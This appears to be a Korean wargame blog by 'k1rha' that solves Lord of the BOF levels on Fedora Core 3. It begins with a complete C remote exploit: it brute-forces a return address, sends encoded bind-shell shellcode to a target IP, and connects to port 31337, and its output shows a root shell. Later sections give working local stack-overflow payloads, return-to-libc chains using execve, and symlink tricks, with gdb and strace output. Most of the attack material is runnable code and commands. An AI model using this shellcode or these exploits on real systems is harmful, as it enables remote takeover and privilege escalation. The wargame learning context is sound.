#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

 

 

 

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

Connected to 220.95.152.26.

Escape character is '^]'.

id

: command not found

id;

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

 

Posted by k1rha
2012.05.13 14:38


Fedora 내부의 환경은 1번 게시글 참조. 

 1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.


4. 1번 문제에서 알아낸 System 함수의 setreuid 초기화 루틴.. 즉 execve 를 사용해야함.



/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


페이로드는 다음과 같다.


[  buffer = 264 ] [ sfp = 4 ] [ ret = 4 ] [ argc ] [ argv ] 
  a * 264              aaaa        ret = & ret

                                                 ret  = & ret

                                                           ret = &execve      (인자값)

                                                                                     ln -s k1rha 인자값

 



(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

 


다음은 strace를 이용한 값을 오류로서 result 에 저장한다. 


ret 주소의 반복은 전 문제에서 이미 2번정도면 스택을 벗어 난다는 것을 확인 했으므로 2번으로 해준 것이다.)


[iron_golem@Fedora_1stFloor ~]$ strace ./dark_eyes `perl -e 'print "a"x268,"\xb9\x84\x04\x08"x2,"\x91\x54\x7a"'` 2> t13.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah¹úþ¹¹‘Tz
[iron_golem@Fedora_1stFloor ~]$ cat t13.txt
execve("./dark_eyes", ["./dark_eyes", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¹¹‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x87dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
old_mmap(0x841000, 7404, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x841000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6ff8000
mprotect(0x83d000, 8192, PROT_READ)     = 0
mprotect(0x718000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6ff8940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xf6ff9000, 28384)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf6fff000
write(1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 280) = 280
execve("<íƒ", [0], [/* 1 var */])       = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++

이렇게 저장된 t13.txt 파일을 xxd명령어를 이용하여 헥사 코드로 보자.

[iron_golem@Fedora_1stFloor ~]$xxd t13.txt

0000750: 2c20 3238 3029 203d 2032 3830 0a65 7865  , 280) = 280.exe
0000760: 6376 6528 223c ed83 222c 205b 305d 2c20  cve("<..", [0],
0000770: 5b2f 2a20 3120 7661 7220 2a2f 5d29 2020  [/* 1 var */])
0000780: 2020 2020 203d 202d 3120 454e 4f45 4e54       = -1 ENOENT
0000790: 2028 4e6f 2073 7563 6820 6669 6c65 206f   (No such file o
00007a0: 7220 6469 7265 6374 6f72 7929 0a2d 2d2d  r directory).---
00007b0: 2053 4947 5345 4756 2028 5365 676d 656e   SIGSEGV (Segmen
00007c0: 7461 7469 6f6e 2066 6175 6c74 2920 4020  tation fault) @
00007d0: 3020 2830 2920 2d2d 2d0a 2b2b 2b20 6b69  0 (0) ---.+++ ki
00007e0: 6c6c 6564 2062 7920 5349 4753 4547 5620  lled by SIGSEGV
00007f0: 2b2b 2b0a                                +++.
[iron_golem@Fedora_1stFloor ~]$ 



1번문제와 마찬가지로 " = 0x22 라는 점을 이용하여 그 사이값을 인자로 구성한다. 

이후 setreuid 와 system 함수로 쉘을 실행시키는 프로그램으로 심볼릭 링크 걸어 준다. 


[iron_golem@Fedora_1stFloor ~]$ ln -s k1rha `perl -e 'print "\x3c\xed\x83"'`

[iron_golem@Fedora_1stFloor ~]$ export PATH=$PATH:/home/iron_golem/

[iron_golem@Fedora_1stFloor ~]$ `perl -e 'print "\x3c\xed\x83"'`

sh-3.00$ exit

exit


공격 공격~


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `perl -e 'print "a"x268,"\xfe\x82\x04\x08"x2,"\x91\x54\x7a"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa˜ùãþþþ‘Tz

sh-3.00$ id

uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 502

because of you

sh-3.00$




Posted by k1rha
2012.05.11 16:53

RedHat -> Fedora 로 넘어오면서 바뀌어진 환경



1.DEP  환경  : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 

  -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 


2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 


3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다.

 



기존에 LOB RedHat 원정대의 경우는 쉘코드를 많이 활용 했었지만, 페도라원정대에서는 RTL 기법을 최대한 활용 하는 방향으로 가야 편하다. 


아래는 페도라의 수문장인 iron_golem 이다. 


/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


정말 다시 돌아온 것같은 느낌의 쉬운 코드.. 간단하게 return adress 의 주소값을 바꿀 수 있는 구조이다. 



 [gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>:    push   %ebp
0x080483d1 <main+1>:    mov    %esp,%ebp
0x080483d3 <main+3>:    sub    $0x108,%esp //  stack 의 메모리 할당 부분 . 
0x080483d9 <main+9>:    and    $0xfffffff0,%esp
0x080483dc <main+12>:   mov    $0x0,%eax
0x080483e1 <main+17>:   add    $0xf,%eax
0x080483e4 <main+20>:   add    $0xf,%eax
0x080483e7 <main+23>:   shr    $0x4,%eax
0x080483ea <main+26>:   shl    $0x4,%eax
0x080483ed <main+29>:   sub    %eax,%esp
0x080483ef <main+31>:   cmpl   $0x1,0x8(%ebp)
0x080483f3 <main+35>:   jg     0x804840f <main+63>
0x080483f5 <main+37>:   sub    $0xc,%esp
0x080483f8 <main+40>:   push   $0x8048524
0x080483fd <main+45>:   call   0x80482f8 <_init+56>
0x08048402 <main+50>:   add    $0x10,%esp
0x08048405 <main+53>:   sub    $0xc,%esp
0x08048408 <main+56>:   push   $0x0
0x0804840a <main+58>:   call   0x8048308 <_init+72>
0x0804840f <main+63>:   sub    $0x8,%esp
0x08048412 <main+66>:   mov    0xc(%ebp),%eax
0x08048415 <main+69>:   add    $0x4,%eax
0x08048418 <main+72>:   pushl  (%eax)
0x0804841a <main+74>:   lea    0xfffffef8(%ebp),%eax
0x08048420 <main+80>:   push   %eax
0x08048421 <main+81>:   call   0x8048318 <_init+88>
0x08048426 <main+86>:   add    $0x10,%esp
0x08048429 <main+89>:   sub    $0x8,%esp
0x0804842c <main+92>:   lea    0xfffffef8(%ebp),%eax
0x08048432 <main+98>:   push   %eax
0x08048433 <main+99>:   push   $0x8048530
0x08048438 <main+104>:  call   0x80482f8 <_init+56>
0x0804843d <main+109>:  add    $0x10,%esp
0x08048440 <main+112>:  leave
0x08048441 <main+113>:  ret
0x08048442 <main+114>:  nop
0x08048443 <main+115>:  nop
End of assembler dump.
(gdb)
(gdb) print 0x108
$1 = 264
(gdb)



페이로드를 그려보면 다음과 같다. 


[buffer = 264 ] [sfp =4 ] [ret =4] [argc =4 ][argv =4 ] 



[gate@Fedora_1stFloor ~]$ cp iron_golem iron_golen

[gate@Fedora_1stFloor ~]$ ulimit -c 10000

[gate@Fedora_1stFloor ~]$ iron_golen `perl -e 'print "a"x268,"bbbb"'`

-bash: iron_golen: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"bbbb"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ gdb -c core.7

core.7049  core.7197

[gate@Fedora_1stFloor ~]$ gdb -c core.7197

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu".

Core was generated by `./iron_golen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.

Program terminated with signal 11, Segmentation fault.

#0  0x62626262 in ?? ()

(gdb)



RET 주소가 bbbb 로 싀워진것을 확인 할 수 있다. 


다음은 RTL 에 쓸 system() 함수의 시작 주소값을 알아 보자.

 

[gate@Fedora_1stFloor ~]$ gdb iron_golen

GNU gdb Red Hat Linux (6.1post-1.20040607.41rh)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".


(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golen

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x7507c0 <system>

(gdb)


우선 기본 RTL 공격 페이로드를 봐보자 



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ &system()] [argc]  [&(system 함수의 인자 값) ] 
                                                                                         -> ln -s  symbolic_link


sysbolic_link.c

#include<stdio.h>

int main(){

 setreuid(geteuid(),geteuid());


  system("/bin/sh");


return 0;

}

그리고 system 함수를 RET에 넣고 시작하여 인자로 쓸 부분을 확인해 보자. 


[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9ÛôþFÛôþ: command not found

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9»öþF»öþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\xc0\x07\x75"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÀu

sh: 9kôþFkôþ: command not found

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


무언가가 실행 된 것을 볼 수 있으나 지정된 프로그램이나 명령어가 아니므로 command not found 가 뜨고 있다. 

그리고 그 값이 계속 변한다. 이유인 즉 아직 system 함수의 인자로 쓸 값이 Random 한 스택영역에 있기 때문이다.


우리는 이를 해결하기 위해서 스택 영역을 벗어나야 한다. 

그 중 한 방법으로 ret 의 값으로 다시 ret 주소를 넣고, 그 ret주소에는 다시 ret 주소를 넣는 방식을 사용하여 eip를 계속 올려내는 방법이 있다. 


그방법을 써서 고정된 영역으로 인자값을 옴겨 보도록 하겠다.


0x08048441 <main+113>:  ret

0x08048442 <main+114>:  nop

0x08048443 <main+115>:  nop

End of assembler dump.

(gdb)


GDB 의 disass 를 통하여 RET 의 주소값은 0x08048441 이라는 것을 알 수 있고, 이를 이용하여 위에 설명 했던 방식으로 

페이로드를 짜보자.d



[buffer    264   ]  [sfp   = 4      ] [ RETURN ] [argc ]

[buffer = a*264 ] [sfp = aaaa] [ ret = &ret ]

                                                     [ ret= &ret ]

                                                               [ret = & ret ] ......

                                                                                      [system() ] [   ]  [  인자값 ] 

                                                                                                                ln - s symbolic_link


 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAÀu

sh: ‹Uðƒì‰Á1À…Òt                      eô[^_]ËMè‹@·H‹Žˆ: command not found

Segmentation fault (core dumped)ÿu‹Mä‰

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\xc0\x07\x75\x00"'`



보면 RET을 두번만 호출 하였는데도 같은 값이 출력 됨을 확인 할 수 있다. 


이녀석들을 전부다 인자로 만들어줘야 하나 이는 너무 길어보이므로 3번 더 RET을 덮어 보겠다. 



[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$ ./iron_golen `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAÀu

sh: íƒ: No such file or directory

Segmentation fault (core dumped)

[gate@Fedora_1stFloor ~]$


훨씬 짧아 졌다. 이 값의 헥사값을 보기 위해서 2> 2번 오류로 저장해보자. 

 

[gate@Fedora_1stFloor ~]$ xxd r1.txt

0000000: 7368 3a20 6161 6161 3a20 4e6f 2073 7563 6820  sh: ..: No such

0000010: 6669 6c65 206f 7220 6469 7265 6374 6f72  file or director

0000020: 790a   



3a 는 : 을 의미하는 헥사 코드이다. 73 은 s 68은 h 이다 20은 공백이므로  그 사이 값인 6161 6161 이 인자값으로 들어 간 값이라는 것을 확인해 줄 수 있다. 

이를 심볼릭 링크로 걸어 보겠다. 





 [gate@Fedora_1stFloor ~]$ ln -s symbolic_link `perl -e 'print "\x61\x61\x61\x61"'`

[gate@Fedora_1stFloor ~]$ ls
(???  ???  core.7364   iron_golem.c  r1.txt  result1.txt  result.txt      aaaa       sh    shell    symbolic_link    ZY??$??
??    ?    iron_golem  iron_golen    result  result2.txt  r[gate@Fedora_1stFloor  sh.c  shell.c  symbolic_link.c  ZY??$??:
[gate@Fedora_1stFloor ~]$ pwd
/home/gate
[gate@Fedora_1stFloor ~]$ export PATH = $PATH:/home/gate
-bash: export: `=': not a valid identifier
-bash: export: `/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin:/home/gate': not a valid identifier
[gate@Fedora_1stFloor ~]$ export PATH=$PATH:/home/gate
[gate@Fedora_1stFloor ~]$ `perl -e 'print " \x61\x61\x61\x61"'`
sh-3.00$ exit
exit
[gate@Fedora_1stFloor ~]$



공격!


[gate@Fedora_1stFloor ~]$ ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x5,"\xc0\x07\x75\x00"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAÀu

sh-3.00$ id

uid=500(gate) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$


여기까지 왔는데 UID가 상승하지 않았다. 
sh-3.00$
이유인 즉슨 system() 함수는 내부 루틴중에 geteuid 를 재설정 해주는 부분이 있기 때문에 이를 유지 할 수 없다. 따라서 system 함수의 주소값 대신에 execve 주소값을 찾아 줘야 한다. 

(gdb) p execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>

(gdb)


그리고 이 주소값에 프롤로그 부분을 건너 뛰기 위해서 1을 더해준다. 

 [gate@Fedora_1stFloor ~]$ strace ./iron_golem  `perl -e 'print "a"x268,"\x41\x84\x04\x08"x2,"\x91\x54\x7a\x00"'`
execve("./iron_golem", ["./iron_golem", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA‘Tz"], [/* 20 vars */]) = 0
uname({sys="Linux", node="Fedora_1stFloor", ...}) = 0
brk(0)                                  = 0x9d16000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28384, ...}) = 0
old_mmap(NULL, 28384, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6ff9000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \17s\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1512400, ...}) = 0
old_mmap(0x71c000, 1207532, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x71c000
old_mmap(0x83d000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x120000) = 0x83d000
